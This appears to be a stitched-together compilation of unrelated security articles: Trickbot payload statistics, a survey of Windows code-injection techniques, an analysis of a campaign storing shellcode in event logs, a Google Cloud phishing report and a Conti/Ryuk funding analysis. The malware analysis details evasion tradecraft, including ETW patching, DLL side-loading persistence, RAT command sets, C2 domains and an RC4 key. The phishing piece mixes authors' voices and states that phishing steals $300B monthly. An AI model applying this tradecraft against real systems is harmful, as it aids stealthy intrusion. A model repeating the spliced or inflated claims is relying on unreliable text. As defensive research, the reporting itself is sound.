Trickbot was reported in 12% of all payload attacks during Q1, with activity prompting a Joint Cybersecurity Advisory from CISA and the FBI. This represents a 15% increase in attacks from Q4 2020. Although attacks grew, Trickbot numbers still barely overcame the volume of former leading malware Emotet, before Emotet operations were dismantled. Emotet was the dominant MaaS for threat actors prior to January.
Despite ZLoader operators deploying a significantly higher level of attacks during Q1, the overall volume of reported payload families decreased by 14% from Q4 2020. This is the lowest number of overall payload volume since Q2 2020. This decrease could indicate that threat actors are increasingly using malware associated with MaaS models to carry out attacks, rather than creating campaigns around a broader variety of families not traditionally linked with these services.
## Additional Resources
**Vishing Attacks Are at an All-Time High, Report Finds**
Vishing attacks have increased almost 550 percent over the last twelve months, according to Agari and PhishLabs’ Quarterly Threat Trends & Intelligence Report.
**Qbot Payloads Dominate Q1**
Qbot payloads targeting enterprises contributed to almost three quarters of all email-based malware since the beginning of 2022.
**Social Media Attacks Double in 2021 According to Latest PhishLabs Report**
Social Media attacks targeting organizations increased 103% in 2021, according to PhishLabs’ Threat Trends & Intelligence Report.
|
# The State of Advanced Code Injections
**David Korczynski, Security Research & Security Engineering**
**13th August 2019**
In the last few years, there has been significant interest in code injection techniques from both attackers and defenders. These techniques enable attackers to execute arbitrary code within the address space of a target process, often referred to as process injections. Attackers, including malware and pentesters, increasingly use these techniques to bypass anti-malware systems and endpoint protection systems to execute their payloads. Many of these injection techniques are described in various blog posts, and a large survey was conducted by researchers from SafeBreach at the most recent Blackhat event. However, many surveys focus on the core programmatic aspects of injections, leaving out elements of why injections are important and when they are used. This blog post covers the state of code injections from a more general perspective, including their motivation, technical details, and examples of attacks that have used them.
## Motivation for Code Injections
In a general sense, attackers use code injection techniques to mitigate defensive systems. This includes bypassing host-based intrusion prevention systems, evading malware sandboxes, and avoiding analysis by forensic tools. Malware has used these techniques for quite a while; in 2013, Palo Alto reported that 13.5% of malware samples used code injections. This technique allows malware to hide within another running process, making it less visible to users checking the task manager and foiling some attempts at application whitelisting.
The amount of code injections has continued to grow from 2013 to 2019. Many reports by anti-malware companies document code injections in malware, and it is now common for newly discovered malware to use code injection techniques. A recent survey by SafeBreach documented 14 techniques invented between 2017 and 2019, excluding several shatter-like attacks and various techniques in the process hollowing space. Furthermore, malware samples are not limiting their injection lifecycle to only one technique; for example, Dridex combines five different injection techniques.
Code injections are also used by pentesters and red teams to take control of systems once they have gained access. Tools like Meterpreter and Shellterpro rely heavily on code injections. As defensive systems improve, understanding the design space of code injections can significantly enhance the skills of red teamers, allowing them to construct payloads and write injection tools that bypass specific defensive perimeters.
## Brief Overview of Code Injection Foundations
### Traditional Remote Thread Creation
This is the most well-known injection technique, achieving execution in the target process by instantiating a remote thread. The general procedure involves getting access to the target process using `OpenProcess`, allocating memory with `VirtualAlloc`, writing malicious code with `WriteProcessMemory`, and executing this code using `CreateRemoteThread`. Variations of this technique exist, such as creating a new process with `CreateProcess` and injecting code into it or using lower-level APIs like `NtOpenProcess`.
### Remote Thread Hijacking
This technique hijacks a remote thread instead of creating a new one. It can involve creating a new process in suspended mode and overwriting its entry point to point to attacker-controlled code. Alternatively, the attacker can suspend thread execution in the target process and substitute the thread using `SuspendThread`, then exchange the thread context to point to attacker-controlled memory.
### Reflective DLL Injection
Reflective DLL injection focuses on executing code in the remote process using a self-loadable DLL file. The attacker creates a DLL with a minimal Windows loader as an exported function. When triggered, the DLL loads itself inside the process, avoiding the need for the regular Windows loader.
### Process Hollowing
Process hollowing substitutes the entire memory of the remote process with attacker-controlled memory. The steps include creating a process in suspended mode, deallocating its memory, writing an attacker-controlled image, and resuming execution.
## Example of Advanced Techniques
While the majority of injections observed in the wild are of the types described above, several novel techniques have emerged in recent years. These techniques often rely on different API calls and exploit-like methods, remaining close to basic techniques by communicating with the target process, ensuring attacker-controlled memory is written, and triggering execution.
### Ghostwriting
Ghostwriting forces the target process to write malicious content in its address space and execute it without using `OpenProcess`, `VirtualAlloc`, or `CreateRemoteThread`. It uses atomic gadgets to continuously overwrite memory in the target process.
### PowerLoader and PowerLoaderEx
PowerLoader abuses shared sections in Windows to overwrite function pointers inside `explorer.exe` to point to attacker-controlled memory. It uses a ROP chain to execute shellcode within `explorer.exe`.
### AtomBombing
AtomBombing uses the global atom table in Windows to share memory between processes and undocumented asynchronous procedure calls to force the target process to call functions on behalf of the injecting process.
### Process Doppelganging
Doppelganging improves the limitations of process hollowing by using Windows Transactions. It loads a benign executable, overwrites its content with malicious code, and creates the target process with the content of the malicious section.
### Earlybird
Earlybird performs traditional code injection via remote thread instantiation early in the process initialization phase, using an asynchronous procedure call to trigger execution.
### Ctrl-Inject
The ctrl-inject technique exploits the ctrl+c hotkey in console applications to invoke a function in a new thread, allowing the attacker to overwrite the signal handler with a malicious function pointer.
### PROPagate
PROPagate uses window subclassing to gain code execution in remote processes by writing a malicious data structure inside the remote process and triggering it through message handling.
### Shatter-Style Attacks
Shatter attacks misuse the message-oriented architecture of Windows to overwrite message handlers in target processes and trigger execution through sent messages.
## Future Outlooks
Code injections are continuously being used, with a trend of increasingly novel techniques being researched. Modern malware samples use long chains of code injections, and novel techniques are more specific than traditional attacks, targeting internal structures within processes. We can expect more exploit-like scenarios in the future, with academia also researching sophisticated malware and generic analysis of novel injection techniques.
## Conclusions
Code injections, also known as process injections, are crucial in post-exploitation strategies. Attackers use these injections to execute code in otherwise benign processes, bypassing whitelists deployed by defense products. Defenders need to ensure their systems are aware of these techniques, while attackers can benefit from them to secure access to target machines. This blog post provided motivation for both defenders and attackers to study code injections and highlighted technical aspects of several techniques and attacks.
|
# A New Secret Stash for “Fileless” Malware
**Authors**
Denis Legezo
In February 2022, we observed the technique of putting the shellcode into Windows event logs for the first time “in the wild” during a malicious campaign. It allows the “fileless” last stage Trojan to be hidden from plain sight in the file system. Such attention to the event logs in the campaign isn’t limited to storing shellcodes. Dropper modules also patch Windows native API functions related to event tracing (ETW) and anti-malware scan interface (AMSI) to make the infection process stealthier.
Besides event logs, there are numerous other techniques in the actor’s toolset. Among them, let us distinguish how the actor takes initial recon into consideration while developing the next malicious stages: the C2 web domain name mimicking the legitimate one and the name in use belonging to the existing software used by the victim. For hosting, the attacker uses virtual private servers on Linode, Namecheap, and DreamVPS.
One more visible common approach is the use of many anti-detection decryptors. The actor uses different compilers, from Microsoft’s cl.exe or GCC under MinGW to a recent version of Go. Also, to avoid detection, some modules are signed with a digital certificate. We believe it is issued by the actor because our telemetry doesn’t show any legitimate software signed with it, only malicious code used in this campaign.
Regarding last stage Trojans, the actor decided not to stick to just one – there are HTTP and named pipe-based ones. Obviously, besides the event logs, the actor is obsessed with memory injection – lots of RAT commands are related to it and are used heavily. Along with the aforementioned custom modules and techniques, several commercial pentesting tools like Cobalt Strike and SilentBreak’s toolset are used.
Actually, as we don’t have commercial versions of the latter, it’s hard to say which enumerated techniques came from the product and which are home-brewed. For sure, third-party code from GitHub is also in use: we registered at least BlackBone for legitimate processes in memory patching.
## The Infection Chain
We started the research from the in-memory last stager and then, using our telemetry, were able to reconstruct several infection chains. What piqued our attention was the very targeted nature of the campaign and the vast set of tools in use, including commercial ones.
The variety of the campaign’s techniques and modules looks impressive. Let us divide it into classes to technically describe this campaign. We need to cover the following sets of modules: commercial pentesting suites, custom anti-detection wrappers around them, and last stage Trojans.
### Commercial Tool Sets
- **Cobalt Strike**
- **SilentBreak’s Toolset**
### Anti-Detection Wrappers
- Go decryptor with heavy usage of the syscall library. Keeps Cobalt Strike module encoded several times and AES256 CBC encrypted blob. We haven’t previously observed Go usage with Cobalt Strike.
- A library launcher, compiled with GCC under MinGW environment. The only possible reason for this stage is anti-detection.
- AES decryptor, compiled with Visual Studio compiler.
### Last Stage RAT
- **HTTP-based Trojan**: Possible original names are ThrowbackDLL.dll and drxDLL.dll, but code is more complex than the old publicly available version of SilentBreak’s Throwback.
- **Named pipes-based Trojan**: Possible original names are monolithDLL.dll and SlingshotDLL.dll. Based on file names, there is a possibility that last stage modules are parts of a commercial Slingshot version.
Once again, some modules which we consider custom, such as wrappers and last stagers, could possibly be parts of commercial products. After some classification, we are ready to analyze modules one by one.
## Initial Infection
The earliest phase of attack we observed took place in September 2021. The spreading of the Cobalt Strike module was achieved by persuading the target to download the link to the .rar on the legitimate site file.io and run it themselves. The digital certificate for the Cobalt Strike module inside is below (during the campaign with the same one, 15 different stagers from wrappers to last stagers were signed):
1. Organization: Fast Invest ApS
2. E-mail: [email protected]
3. Thumbprint: 99 77 16 6f 0a 94 b6 55 ef df 21 05 2c 2b 27 9a 0b 33 52 c4
4. Serial: 34 d8 cd 9d 55 9e 81 b5 f3 8d 21 d6 58 c4 7d 72
Due to the different infection scenarios for all the targeted hosts, we will describe just one of the observed ones. Having the ability to inject code into any process using Trojans, the attackers are free to use this feature widely to inject the next modules into Windows system processes or trusted applications such as DLP.
Keeping in mind truncated process injections and even mimicking web domain registration, we could describe the attack process as quite iterative: initial recon with some modules and then preparation of additional attacks.
### Commercial Tool Sets
Regarding the commercial tools, traces of SilentBreak and Cobalt Strike toolset usage in this campaign are quite visible. Trojans named ThrowbackDLL.dll and SlingshotDLL.dll remind us of Throwback and Slingshot, which are both tools in SilentBreak’s framework, while the “sb” associated with the dropper (sb.dll) could be an abbreviation of the vendor’s name.
Here we want to mention that several .pdb paths inside binaries contain the project’s directory C:\Users\admin\source\repos\drx\ and other modules not named after Throwback or Slingshot, such as drxDLL.dll. However, encryption functions are the same as in the publicly available Throwback code.
### Anti-Detection Wrappers
For the anti-detection wrappers, different compilers are in use. Besides MSVC, Go compiler 1.17.2 and GCC under MinGW have been used. Decryptors differ a lot; the features they contain are listed below:
| Anti-Detection Technique | Usage |
|--------------------------|-------|
| Several Compilers | The same AES256 CBC decryption could be done with Go and C++ modules. |
| Whitelisted Launchers | Autorunned copy of WerFault.exe maps the launcher into process address space. |
| Digital Certificate | 15 files are signed with “Fast Invest” certificate. We didn’t observe any legitimate files signed with it. |
| Patch Logging Exports | To be more stealthy, Go droppers patch logging-related API functions like EtwEventWriteFull in self-address space with empty functionality. |
| Keep Shellcode in Event Logs | This is the main innovation we observed in this campaign. Encrypted shellcode with the next stager is divided into 8 KB blocks and saved in the binary part of event logs. |
| C2 Web Domain Mimicking | Actor registered a web domain name with ERP in use title. |
This layer of the infection chain decrypts, maps into memory, and launches the code. Not all of them are worth describing in detail, but we will cover the Go decryptor launcher for Cobalt Strike. All corresponding hashes are listed in the appendix.
Function names in the main package are obfuscated. Main.init decodes Windows API function names from kernel32.dll and ntdll.dll libraries (WriteProcessMemory and other functions) related to event log creation. Each of these names in the binary are base64-encoded four times in a row. Using WriteProcessMemory, the dropper patches with “xor rax, rax; ret” code the following functions in memory: EtwNotificationRegister, EtwEventRegister, EtwEventWriteFull, EtwEventWriteFull, EtwEventWrite.
In Main.start, the malware checks if the host is in the domain and only works if it’s true. Then it dynamically resolves the addresses of the aforementioned functions. The next stager is encrypted with AES256 (CBC mode), the key and IV are encoded with base64.
With such an approach, it requires the researcher to code some script to gather the encrypted parts of the next module. After decryption, to get the final portable executable, data has to be converted further.
## Last Stager Types
Last stagers have two communication mechanisms – over HTTP with RC4 encryption and unencrypted with named pipes. The latter way is technically able to communicate with any network-visible external host, but under Windows, named pipes are built upon the SMB protocol, which would barely open for external networks. So these modules most probably serve for lateral movement.
| Feature | HTTP-based Trojan | Named Pipes-based Trojan |
|-------------------------------|------------------------------------------------------|--------------------------|
| C2 Communication | Active connection to a randomly chosen C2 from a hardcoded list | Passive mode |
| Encryption | XOR-based, RC4 | Plaintext |
| Self Version in Beacon | 1.1 | No |
| Natural Language Artifacts | Unused argument “dave” | No |
| Command Set | Quite basic, 7 of them | More profound, 20 of them |
| Injection Functionality | Yes and much in use | Yes and much in use |
| Quite Unusual Among the Commands | Sleep time randomization: (random between 0.9 – 1.1) * sleep time | Get minutes since last user input |
After this introduction into the set of malware, we will now describe the infection chain: dropper injection with Cobalt Strike pentesting suite.
## Dropper in DLL, Search Order Hijacking
We start custom module analysis from the wrapper-dropper dynamic library. This code is injected into Windows processes such as explorer.exe. At its single entry point after being loaded into the virtual address space of the launcher process, the dropper removes files created by previous stages or executions.
Firstly, the module copies the original legitimate OS error handler WerFault.exe to C:\Windows\Tasks. Then it drops one of the encrypted binary resources to the wer.dll file in the same directory for typical DLL search order hijacking. For the sake of persistence, the module sets the newly created WerFault.exe to autorun, creating a Windows Problem Reporting value in the Software\Microsoft\Windows\CurrentVersion\Run Windows system registry branch.
The dropper not only puts the launcher on disk for side-loading but also writes information messages with shellcode into existing Windows KMS event log. The dropped wer.dll is a loader and wouldn’t do any harm without the shellcode hidden in Windows event logs. The dropper searches the event logs for records with category 0x4142 (“AB” in ASCII) and having the Key Management Service as a source. If none is found, the 8KB chunks of shellcode are written into the information logging messages via the ReportEvent() Windows API function (lpRawData parameter). Created event IDs are automatically incremented, starting from 1423.
### Launcher in wer.dll
This launcher, dropped into the Tasks directory by the first stager, proxies all calls to wer.dll and its exports to the original legitimate library. At the entry point, a separate thread combines all the aforementioned 8KB pieces into complete shellcode and runs it. The same virtual address space, created by a copy of the legitimate WerFault.exe, is used for all this code.
To prevent WerFault from continuing its error handling process, the DLL patches the launcher’s entry point with typical Blackbone trampolines. The way to stop the legitimate launcher’s execution isn’t traditional. In the main thread, wer.dll finds its entry point and patches it with a simple function. WaitAndExit() would just call WaitForSingleObject() with the log gathering thread id and then exit, meaning no real WerFault.exe error handling code could ever be executed: the spoofed DLL mapped into its address space would block it.
### Shellcode into Windows Event Logs
The launcher transmits control to the very first byte of the gathered shellcode. Here, three arguments for the next function are prepared:
- Address of the next stage Trojan. It is also contained within the data extracted from the event logs.
- The standard ROR13 hash of the exported function name Load inside this Trojan (0xE124D840).
- Addresses of the string “dave” and constant “4”, which become the arguments of the exported function, found by hash.
The parsing of the next Windows portable executable to locate its entry point is quite typical. To make the next stage Trojan less visible, the actor wiped the “MZ” magic in its header. After calling the code at the Trojan’s entry point, the shellcode also searches for the requested export and invokes it.
### HTTP Trojan
For last stagers, we will be a bit more detailed than for auxiliary modules before. The C++ module obviously used the code from SilentBreak’s (now NetSPI’s) Throwback public repository: XOR-based encryption function, original file name for some samples, e.g., ThrowbackDLL.dll, etc. Let us start here with the aforementioned Load() exported function. It’s just like the patching of WerFault above (the function waits on the main Trojan thread) but it ignores any parameters, so “dave” and “4” are unused. It is possible this launcher supports more modules than just this one, which would require parameters.
### Target Fingerprinting
The module decrypts C2 domains with a one-byte XOR key. In the case of this sample, there is only one domain, eleed[.]online. The Trojan is able to handle many of them, separated by the “|” character and encrypted. For further communications over plain HTTP, the Trojan chooses a random C2 from this set with user agent “Mozilla 5.0”.
The malware generates a fingerprinting string by gathering the following information, also separated by “|”:
- Values of MachineGUID from the SOFTWARE\Microsoft\Cryptography
- Computer name
- Local IP addresses obtained with GetAdaptersInfo
- Architecture (x86 or x64)
- OS version
- Whether the current process has SeDebugPrivilege
The fingerprinter also appends “1.1” to the string (which could be the malware version) and the sleep time from the current config.
### Encrypted HTTP Communication with C2
Before HTTP communications, the module sends empty (but still encrypted) data in an ICMP packet to check connection, using a hardcoded 32-byte long RC4 key. Like any other strings, this key is encrypted with the Throwback XOR-based algorithm.
If the ping of a control server with port 80 available is successful, the aforementioned fingerprint data is sent to it. In reply, the C2 shares the encrypted command for the Trojan’s main loop.
### Trojan Commands
| Code | Command Features |
|------|------------------|
| 0 | Fingerprint the target again. |
| 1 | Execute command. The Trojan executes the received command in the new process and sends the result back to the C2. |
| 2 | Download from a URL and save to the given path. |
| 3 | Set a new sleep time. This time in minutes is used as a timeout if the C2 hasn’t replied with a command to execute yet. Formula for randomization is (random number between 0.9 – 1.1) * sleep time. |
| 4 | Sleep the given number of minutes without changing the configuration. |
| 5 | List processes with PID, path, owner, name, and parent data. |
| 6 | Inject and run shellcode into the target process’ address space. To inject into the same process, the command argument should be “local”. Like the shellcode in the event logs, this one would run the provided PE’s entry point and as well as a specific export found by hash. |
| 99 | Terminates the session between trojan and C2. |
Another Trojan in use during this campaign is named pipe-based and has a more profound command system, including privilege escalation, screenshotting, inactivity time measurement, etc. Here, we come to the infection chain end. We continue with another last stage Trojan type, which we observed injected into processes like edge.exe.
### Named Pipes-Based Trojan
The Trojan location is C:\Windows\apds.dll. The original legitimate Microsoft Help Data Services Module library with the same name is in C:\Windows\System32. The main Trojan working cycle is in a separate thread. The malware also exports a Load() function, whose only purpose is to wait for a working thread, which is typical for this campaign’s modules.
First, the main Trojan thread gets the original apds.dll and exports and saves it into an allocated new heap buffer right after the Trojan’s image in memory. Then the Trojan edits the self-exported functions data in a way that allows it to call the original apds.dll exports through the crafted stubs like the following, where the address is the one parsed from the real apds.dll:
1. 48B8<addr> MOV RAX,<addr>
2. FFE0 JMP RAX
This trampoline code is taken from the Blackbone Windows memory hacking library (RemoteMemory::BuildTrampoline function). DLL hijacking isn’t something new; we have seen such a technique used to proxy legitimate functions many times, but recreating self-exports with just short stubs to call the original legitimate functions is unusual. The module then creates a duplex-named pipe, “MonolithPipe”, and enters its main loop.
### Work Cycle
After the aforementioned manipulations with exported functions, the module lightly fingerprints the host with architecture and Windows version information. The Trojan also initializes a random 11-byte ASCII string using the rare constant mentioned, e.g., here in the init_keys function. The result serves as a unique session id.
The malware connects to the hardcoded domain on port 443 (in this case https://opswat[.]info:443) and sends POST requests to submit.php on the C2 side. HTTPS connection options are set to accept self-signed certificates on the server side. The C2 communication in this case is encrypted with an RC4 algorithm with the Dhga(81K1!392-!(43<KakjaiPA8$#ja key. In the case of the named pipes-based Trojan, the common commands are:
| Code | Command Features |
|------|------------------|
| 0 | Set the “continue” flag to False and stop working. |
| 1 | N/A, reserved so far. |
| 2 | Get time since the last user input in minutes. |
| 3 | Get current process information: PID, architecture, user, path, etc. |
| 4 | Get host domain and user account. |
| 5 | Impersonate user with credentials provided. |
| 6 | Get current process’s available privileges. |
| 7 | Execute command with the cmd.exe interpreter. |
| 8 | Test connection with a given host (address and port) using a raw TCP socket. |
| 9 | Get running processes information: path, owner, name, parent, PID, etc. |
| 10 | Impersonate user with the token of the process with a provided ID. |
| 11 | List files in directory. |
| 12 | Take a screenshot. |
| 13 | Drop content to file. |
| 14 | Read content from file. |
| 15 | Delete file. |
| 16 | Inject provided code into process with the given name. |
| 17 | Run shellcode from the C2. |
| 18 | N/A, reserved so far. |
| 19 | Run PowerShell script. During this campaign, we observed Invoke-ReflectivePEInjection to reflectively load Mimikatz in memory and harvest credentials. |
We have now covered the three layers of the campaign. Interestingly, we observed a Trojan with a complete command set as in the table above, but still using RC4-encrypted HTTP communications with the C2 instead of named pipes. The last stage samples look like a modular platform, whose capabilities the actor is able to combine according to their current needs.
## Infrastructure
| Domain | IP | First Seen | ASN |
|-------------------------------|-----------------------|---------------------|--------------------------|
| eleed[.]online | 178.79.176[.]136 | Jan 15, 2022 | 63949 – Linode |
| eleed[.]cloud | 178.79.176[.]136 | – | 63949 – Linode |
| timestechnologies[.]org | 93.95.228[.]97 | Jan 17, 2022 | 44925 – The 1984 |
| avstats[.]net | 93.95.228[.]97 | Jan 17, 2022 | 44925 – The 1984 |
| mannlib[.]com | 162.0.224[.]144 | Aug 20, 2021 | 22612 – Namecheap |
| nagios.dreamvps[.]com | 185.145.253[.]62 | Jan 17, 2022 | 213038 – DreamVPS |
| opswat[.]info | 194.195.241[.]46 | Jan 11, 2022 | 63949 – Linode |
| – | 178.79.176[.]1 | – | 63949 – Linode |
## Attribution
The code, which we consider custom (Trojans, wrappers), has no similarities with previously known campaigns or previously registered SilentBreak toolset modules. Right now we prefer not to name the activity and instead stick to just “SilentBreak” given it is the most used among the tools here. If new modules appear and allow us to connect the activity to some actor, we will update the name accordingly.
## Conclusions
We consider the event logs technique, which we haven’t seen before, the most innovative part of this campaign. With at least two commercial products in use, plus several types of last-stage RAT and anti-detection wrappers, the actor behind this campaign is quite capable. There is the possibility that some of the modules we described here as custom ones are part of a commercial toolset as well. The code is quite unique, with no similarities to known malware. We will continue to monitor similar activity.
## Indicators of Compromise
**File Hashes (malicious documents, trojans, emails, decoys)**
**Dropper**
- 822680649CDEABC781903870B34FB7A7
- 345A8745E1E3AE576FBCC69D3C8A310B
- EF825FECD4E67D5EC5B9666A21FBBA2A
- FA5943C673398D834FB328CE9B62AAAD
**Logs Code Launcher**
- 2080A099BDC7AA86DB55BADFFBC71566
- 0D415973F958AC30CB25BD845319D960
- 209A4D190DC1F6EC0968578905920641
- E81187E1F2E6A2D4D3AD291120A42CE7
**HTTP Trojan**
- ACE22457C868DF82028DB95E5A3B7984
- 1CEDF339A13B1F7987D485CD80D141B6
- 24866291D5DEEE783624AB51516A078F
- 13B5E1654869985F2207D846E4C0DBFD
**Named Pipes Trojan and Similar**
- 59A46DB173EA074EC345D4D8734CB89A
- 0B40033FB7C799536C921B1A1A02129F
- 603413FC026E4713E7D3EEDAB0DF5D8D
**Anti-Detection Wrappers/Decryptors/Launchers (not malicious by themselves)**
- 42A4913773BBDA4BC9D01D48B4A7642F
- 9619E13B034F64835F0476D68220A86B
- 0C0ACC057644B21F6E76DD676D4F2389
- 16EB7B5060E543237ECA689BDC772148
- 54271C17684CA60C6CE37EE47B5493FB
- 77E06B01787B24343F62CF5D5A8F9995
- 86737F0AE8CF01B395997CD5512B8FC8
- 964CB389EBF39F240E8C474E200CAAC3
- 59A46DB173EA074EC345D4D8734CB89A
- A5C236982B0F1D26FB741DF9E9925018
- D408FF4FDE7870E30804A1D1147EFE7C
- DFF3C0D4F6E2C26936B9BD82DB5A1735
- E13D963784C544B94D3DB5616E50B8AE
- E9766C71159FC2051BBFC48A4639243F
- F3DA1E157E3E344788886B3CA29E02BD
**Host-Based IoCs**
- C:\Windows\Tasks\wer.dll
- C:\Windows\Tasks\WerFault.exe (copy of the legit one to sideload the malicious .dll)
- Named pipe MonolithPipe
- Event logs with category 0x4142 in Key Management Service source. Events ID auto increments starting from 1423.
**PDB Paths**
- C:\Users\admin\source\repos\drx\x64\Release\sb.pdb
- C:\Users\admin\source\repos\drx\x64\Release\zOS.pdb
- C:\Users\admin\source\repos\drx\x64\Release\ThrowbackDLL.pdb
- C:\Users\admin\source\repos\drx\x64\Release\drxDLL.pdb
- C:\Users\admin\source\repos\drx\x64\Release\monolithDLL.pdb
|
# How Scammers Are Hiding Their Phishing Trips in Public Clouds
Recently, we published our research on how threat actors are taking advantage of well-known cloud services to download malicious payloads. This technique has also been observed in phishing attacks, where cloud storage services are used to host phishing pages.
Some of the warning signs that users generally look out for in a phishing attack include suspicious-looking domains or websites without a HTTPS certificate. However, by using well-known public cloud services such as Google Cloud or Microsoft Azure to host their phishing pages, the attackers can overcome this obstacle and disguise their malicious intent, improving their chances of ensnaring even security-savvy victims.
This was the case with a phishing attack we came across in January. The attack started with a PDF document that was uploaded to Google Drive and included a link to a phishing page. The phishing page, hosted on storage.googleapis.com/asharepoint-unwearied-439052791/index.html, asked the user to login with their Office 365 or organization e-mail. When choosing one of the options, a pop-up window with the Outlook login page appears. After the credentials were entered, the user is led to a real PDF report published by a renowned global consulting firm.
During all of these stages, the user never gets suspicious since the phishing page is hosted on Google Cloud Storage. However, viewing the phishing page’s source code has revealed that most of the resources are loaded from a website that belongs to the attackers, prvtsmtp.com. In more recent attacks, even a sharp-eyed, savvy user might miss this, as the attackers started using Google Cloud Functions, a service that allows the running of code in the cloud. In this case, the resources in the phishing page were loaded from a Google Cloud Functions instance without exposing the attackers’ own malicious domains.
Investigating prvtsmtp.com showed that it resolved to a Ukrainian IP address (31.28.168.4). Many other domains related to this phishing attack resolved to the same IP address or to different ones on the same netblock. This gave us an insight into the attackers’ malicious activity over the years and allowed us to see how they have been developing their campaigns and introducing new techniques.
For example, we saw that back in 2018, the attackers used to host the phishing pages on the malicious websites directly. Later on, and before switching to Google Cloud Storage, the attackers took advantage of Azure Storage to host the phishing pages. The attackers in this case seem to be taking advantage of different cloud storage services, a technique that has been gaining popularity due to the difficulties involved in detecting it. Because such services usually have legitimate uses and do not appear suspicious, both victims and network administrators have more difficulty identifying and fending off such attacks.
Google suspended this particular hacker project in January 2020 for phishing abuse, which subsequently suspended the URL as well as all URLs associated with that project since that time. Google investigates and suspends phishing pages when we become aware of them through Safe Browsing data feeds and other direct reports.
This incident highlights the efforts that scammers and criminals will make to conceal their malicious intentions and to trick even security-savvy users. As we’ve noted in many previous blogs, practical steps we can all take to stay protected against these opportunistic attacks are:
1. Beware of lookalike domains, spelling errors in emails or websites, and unfamiliar email senders.
2. Be cautious with files received via email from unknown senders, especially if they prompt for a certain action you would not usually do.
3. Ensure you are ordering goods from an authentic source. One way to do this is NOT to click on promotional links in emails, and instead, Google your desired retailer and click the link from the Google results page.
4. Beware of “special” offers. “An exclusive cure for coronavirus for $150” is usually not a reliable or trustworthy purchase opportunity.
5. Make sure you do not reuse passwords between different applications and accounts.
Organizations should prevent zero-day attacks with end-to-end cyber architectures, to block deceptive phishing sites and provide alerts on password reuse in real time. And remember that your users’ mailboxes are the front door into your organization. Targeted phishing schemes steal $300B from businesses every month, so consider using email security measures too.
|
# TRM Analysis Corroborates Suspected Ties Between Conti and Ryuk Ransomware Groups and Wizard Spider
**Insights**
April 6, 2022
## Key Findings
An analysis of leaked private messages of Conti group members, open-source reporting, and on-chain investigations of salary-related addresses by TRM investigators indicates ties between two ransomware groups, Conti and Ryuk. Both Conti and Ryuk also appear to be part of the Wizard Spider cybercriminal group and are responsible for the TrickBot botnet.
Not only do on-chain investigations indicate funds for salary paid by a Conti core member were derived from a known Ryuk ransomware address, but similarities in code and other factors suggest that Conti is a rebranding of the Ryuk ransomware. Such a tactic of rebranding is widely known to be used by ransomware syndicates to cover their tracks.
On February 27, 2022, an individual with apparent inside access to Conti’s infrastructure leaked nearly 160,000 messages from internal chats and other data shedding light on more than a year of Conti’s operations, uncovering the syndicate’s ecosystem as well as hundreds of crypto addresses used to extort victims and fund the group's activities. Authentication of leaks as having come from Conti infrastructure was confirmed by the threat intelligence community including TheRecord. The leak was sparked by Conti’s official statement on February 25, 2022, announcing full support to the Russian State and threatening the world with offensive operations if any Russian infrastructure is attacked as a possible response to Russia’s invasion of Ukraine.
## Background
Ryuk ransomware, which was active from mid-to-late 2018, was responsible for a high number of ransomware attacks resulting in millions of USD in losses. For several years, the threat intelligence community has suspected that both Ryuk and Conti ransomware were operated by a single group identified as Wizard Spider by CrowdStrike based on the similarities in code and other factors.
After Ryuk’s suspected rebrand to Conti in approximately May of 2020, the ransomware continued becoming even more destructive, eventually merging with the group running the TrickBot botnet at the end of 2021 according to threat intelligence firm AdvIntel. TrickBot initially emerged in 2016 as a banking Trojan designed to steal user credentials and personally identifiable information (PII). The prolific botnet then expanded its capabilities to credential harvesting, crypto mining, and gaining a foothold into the victims’ systems to deploy ransomware.
TrickBot and Wizard Spider’s Ryuk business relationships first followed a BaaS (Botnet-as-a-Service) model and grew to a partnership after Ryuk’s rebranding to Conti. Working with TrickBot, Conti quickly became one of the most profitable and prolific ransomware syndicates. Threat researcher Jack Cable, who runs the crowdsourcing ransomware site ransomwhe.re, estimated Conti as being the most profitable group through mid-2021.
## Conti Supports Russia, Issues Threats
According to the chatter observed on top-tier dark-web forums, the Russian invasion of Ukraine and the ongoing military conflict have split the Russian-speaking cybercriminal community. In dark web chatter, many cybercriminals, including ransomware threat actors, voiced support for a particular side, while others, like LockBit2.0, tried to maintain a level of neutrality. On February 25, 2022, Conti openly voiced its support for the Russian State and posted a threat to the “Western world” on its official extortion site, stating it would strike back with offensive operations if any of the Russian infrastructures is attacked.
Shortly after Conti’s official statement, on February 27, 2022, an individual with apparent inside access to Conti’s infrastructure leaked purported internal chat logs consisting of nearly 160,000 messages via Twitter, shedding light on more than a year of Conti’s operations. The individual who leaked the chats claimed in online tweets to be doing so in retaliation for Conti’s support of the Russian invasion of Ukraine. The leak also included hundreds of crypto addresses, which appear to have been used in the group’s illicit activity to extort victims and pay for services such as the salaries of the group’s members. Authentication of leaks as having come from Conti infrastructure was confirmed by the threat intelligence community including TheRecord.
## Connecting Wizard Spider, Conti, and Ryuk
An analysis of the Conti leaks, specifically information within the leaked messages related to salary payments, as well as the on-chain flow of funds revealed unique insights into the operation of Wizard Spider. TRM analysts found that, unlike most ransomware syndicates, Conti implements a model of wage-based employees in addition to the percentage-based affiliate model used by traditional RaaS (Ransomware-as-a-Service) groups.
TRM on-chain analysis corroborated payments discussed on July 14, 2020; the chats show actors “Salamandra”, the threat actor in charge of Conti’s HR, and “Stern”, a senior Wizard Spider team member, discussing a potential candidate for hire, called "bonen". Bonen, a coder with 20 years of experience, was hired with a salary of 150,000 Rubles per month (approximately $2,112 USD at the time). In addition, bonen was paid 15,000 Rubles (approximately $207 USD) for completing a test assignment. This transaction was also confirmed by TRM on-chain analysis.
The on-chain investigation also confirmed a transfer of $85,000 USD from Stern to a team lead on one of the Conti teams operating under the alias “Mango.” The transfer was made to pay for the salary of Mango’s team. Mango requested the transfer from Stern on July 19, 2021, according to the leaks, so that the funds could then be split across the team of nearly 100 people consisting of pentesters, coders, OSINT investigators, and reverse engineers. Some of the funds were also set aside for payments for servers and test assignments for new hires according to the chats between Stern and Mango.
Further investigation identified that the funds for the aforementioned payment from Stern to Mango were derived from a known Ryuk ransomware address reported by CrowdStrike in January of 2019. This financial transaction appears to confirm the long-suspected ties between Ryuk and Conti and underscores the widely adopted tactics of rebranding by ransomware syndicates to cover their tracks. However, despite the rebranding, the cryptocurrency financial transactions carried out by the groups leave a trail, which can be uncovered.
The chats further revealed that Wizard Spider is also working on putting together a team that will attempt to develop an internal Blockchain platform and its own token to circumvent cryptocurrency tracking by law enforcement and researchers.
